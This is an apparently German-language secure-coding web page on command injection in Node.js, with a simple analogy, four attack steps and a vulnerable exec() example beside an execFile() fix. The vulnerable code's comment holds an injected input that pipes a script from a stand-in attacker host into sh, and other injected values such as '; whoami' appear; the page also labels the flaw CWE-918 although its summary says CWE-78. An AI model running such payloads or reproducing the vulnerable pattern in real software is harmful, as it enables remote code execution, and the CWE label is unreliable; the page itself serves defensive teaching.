flawopen.com/command-injection/Javascript

● CWE-918 · Kritisch
Sicherheitsforschung · FlawOpen

Command Injection in JavaScript

Learn how to fix Command Injection (CWE-78) in JavaScript & Node.js. Side-by-side vulnerable vs secure code examples for child_process.execFile(), spawn(), and exec hazards.

💡 Einfache Erklärung (ELI5)

Stellen Sie sich vor, Sie bitten einen Assistenten, ein Dokument namens 'bericht.pdf' zu drucken. Eine Befehlsinjektion geschieht, wenn jemand den Dateinamen 'bericht.pdf; whoami' übergibt und der Assistent diesen ganzen Zettel an das Terminal weitergibt, wodurch der Bericht gedruckt und der Administratorenausweis ausgelesen wird.

Kernkonzepte & Begriffe

Web Application Security
Kernkomponente der Architektur, die von CWE-918 betroffen ist.
CWE-918
Standardmäßige Common Weakness Enumeration (CWE)-Klassifizierung für command-injection-javascript.
Defense-in-Depth
Mehrschichtige technische Verifikation und Laufzeit-Grenzenisolation.

Schritt-für-Schritt Angriffsablauf

Step 1

Eingabe Nicht Vertrauenswürdiger Parameter

Die Anwendung akzeptiert Hostnamen, Dateinamen oder Diagnoseparameter direkt aus einer HTTP-Anfrage.

Step 2

Unsichere Shell-Interpolation

Das Backend erstellt den Shell-Befehlsstring durch einfache Zeichenfolgenverkettung statt über ein isoliertes Argumenten-Array.

Step 3

Befehlstrennzeichen-Injektion

Der Angreifer fügt Shell-Metazeichen wie ';', '&&', '|' oder Backticks ein (z. B. '127.0.0.1; id'), um den Befehlskontext zu verlassen.

Step 4

Subshell-Ausführung und Systemübernahme

Die Shell des Betriebssystems führt den angehängten Schadcode mit den Rechten des Webserverprozesses aus.

Quellcode: Verwundbar vs. Sicher

✕ VERWUNDBARE IMPLEMENTIERUNG
// child_process.exec spawns a shell and parses metacharacters
const { exec } = require('child_process');

function convertImage(filename) {
  // Input: "avatar.png; curl http://evil.com/shell | sh"
  exec(`convert ${filename} -resize 100x100 out.png`, (err, stdout) => {
    console.log(stdout);
  });
}
✓ GEHÄRTETER SICHERHEITS-PATCH
// child_process.execFile executes the binary directly without a shell
const { execFile } = require('child_process');

function convertImage(filename) {
  // filename is passed as a literal argument, never parsed as a shell command
  execFile('convert', [filename, '-resize', '100x100', 'out.png'], (err, stdout) => {
    console.log(stdout);
  });
}

Checkliste für Engineering & Systemsicherheit

References